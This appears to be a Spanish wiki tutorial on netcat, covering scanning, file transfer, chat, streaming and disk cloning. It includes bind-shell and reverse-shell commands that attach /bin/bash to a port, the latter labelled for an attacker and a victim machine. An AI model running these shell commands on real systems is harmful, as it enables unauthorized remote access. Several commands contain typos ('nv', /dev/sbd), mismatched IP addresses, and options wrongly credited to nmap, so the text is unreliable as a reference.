tutorial_de_netcat

netcat o nc es una utilitario para transmisión en redes de datos, especialmente todo lo que tenga que ver con TCP, UDP, o los sockets de UNIX.

Es capaz de establecer conexiones TCP, enviar paquetes UDP, estar a la escucha en puertos TCP y UDP arbitrarios, efectuar escaneo de puertos, y manejar IPv4 e IPv6

Opciones Descripción
-4 Fuerza a usar sólo IPv4
-6 Fuerza a usar sólo IPv6
-l Escucha conexiones
-v Salida verbosa
-n Desactiva búsqueda de DNS en direcciones IP y hostnames
-p Especifica el puerto de origen
-w Indica el valor de timeout
-u Usa UDP en lugar de la TCP
-k Fuerza seguir escuchando después de desconectar
-z Instruye a nmap a escanear demonios en escucha
-h Muestra la ayuda de nmap
-x Usa nmap con un proxy

La sintaxis básica de netcat es:

nc opciones host puerto

Escanear puertos y atrapar bandera

Comando Descripción
nc -zvn 192.168.59.1
Escanea los puertos entre 1 y 100.
nc -zvn 192.168.59.1
Escanea puerto 80, 22 y 443.
nc -zvn 192.168.59.1 80
Sólo escanea puerto 80
nc -zvn textp-plano.com 80
Escanea puerto 80 en texto-plano.xyz
nc texto-plano.xyz/~fulana/bandera
Toma bandera

Abrir un shell remoto

Podremos abrir una sesión de shell a mano. Para ello, suponiendo que la IP del servidor es 192.168.58.3,

En la máquina de servicio:
nc -nvlp 8888 -e /bin/bash
Ponemos un proceso de Bash en escucha en el puerto 8888
En la máquina cliente:
nc -nv 192.168.59.3 8888
Hacemos un proceso cliente que hable al servidor en 192.168.59.3 puerto 8888.

Abrir un shell inverso

Máquina atacante
nc -nlvp 8888
Escucha en puerto 8888
Máquina víctima
nc 192.168.59.3 8888 -v -e /bin/bash
Proceso de bash que emite en 192.168.59.3 8888

Bajar archivos

Suponiendo que el emisor está en 192.168.59.3:

En el emisor
nc -lvp 8888 < datos.txt
Emite un flujo a partir de datos.txt por puerto 8888 a la LAN
En el receptor
nv -nv 192.168.59.3 8888 > data.txt 
recibe el flujo de 192.168.59.3 por puerto 8888 y lo almacena en datos.txt

Subir archivos

Suponiendo que el receptor está en 192.158.59.3:

En el receptor:
nv -lvp 8888 > datos.txt
En el emisor:
nv 192.168.59.3 8888 < datos.txt

Comprimir y transferir

Para transferir directorios por la LAN, puede resultar muy útil comprimirlos al enviarlo, y descomprimirlos al recibirlo.

Suponiendo que el emisor está en 192.168.59.54:

En el emisor:
tar cfp - /respaldos | compress -c | nc 192.168.59.54 8888
En el receptor:
nc -l -p 8888 | uncompress -c | tar xvfp -

Encriptar y transferir

Las transferencias de ficheros usando netcat por defecto no van encriptadas, y cualquiera en la LAN podría capturar los paqueets enviados, de manera que es muy útil encirptarlos antes de enviarlos.

Suponiendo que la máquina que envía es 192.168.59.3

En la máquina emisora:
nc -l -p 8888 | openssl enc -d -des3 -pass pass:contraseña > secreto.txt
En la máquina receptora:
openssl enc -des3 -pass pass:contraseña | nc 192.168.59.3 8888

Aplicación de chat

Podremos practicar lo más sencillo que es generar una aplicación de chat sencilla, que permita usar un puerto (8888) para emitir paquetes de texto sin cifrado alguno. Suponiendo que el servidor esté en 192.168.59.3

En el servidor:
nv -lvp 8888
En el cliente:
nv 192.168.59.3 8888

Video streaming

Podremos hacer videostreaming, por ejemplo de una pantalla:

En el servidor:
cat video.avi | nc -nvlp 8888
Emite el fichero video.avi por el puerto 8888
nc 192.168.59.3 8888 | mplayer -vo x11 -cache 3000 -

Clonar unidad de Linux

Esta es una manera útil de clonar un sistema de archivos por la red LAN. Asumiendo que la máquina que envia está en 192.168.59.

En la máquina que envía:
dd if=/dev/sbd | nc -l -p 8888
En la máquina que recibe:
nc -n 192.168.59.3 8888 | dd of=/dev/sdb
  • tutorial_de_netcat.txt
  • Última modificación: 2024/09/06 18:28
  • por peron